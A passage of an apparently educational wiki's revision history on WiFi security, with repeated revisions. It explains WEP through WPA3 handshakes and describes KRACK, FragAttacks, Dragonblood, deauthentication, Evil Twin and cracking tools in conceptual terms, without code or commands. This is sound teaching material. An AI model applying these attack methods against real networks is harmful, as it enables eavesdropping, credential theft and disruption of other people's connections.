Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T17:11:01Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP

*WEP has no Mechanism to prevent to manipulate data packets. <ref name="wep versus wpa">Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP can not prevent Replay Attacks <ref name="wep versus wpa" />
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP allows attackers to modify messages or data without knowing the encryption key. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*with WEP it is easy to manipulate Authentication messages. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T17:10:07Z

RSchuller: /* Versions */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP

*WEP has no Mechanism to prevent to manipulate data packets. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP can not prevent Replay Attacks <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP allows attackers to modify messages or data without knowing the encryption key. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*with WEP it is easy to manipulate Authentication messages. <ref>Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>

===WPA===

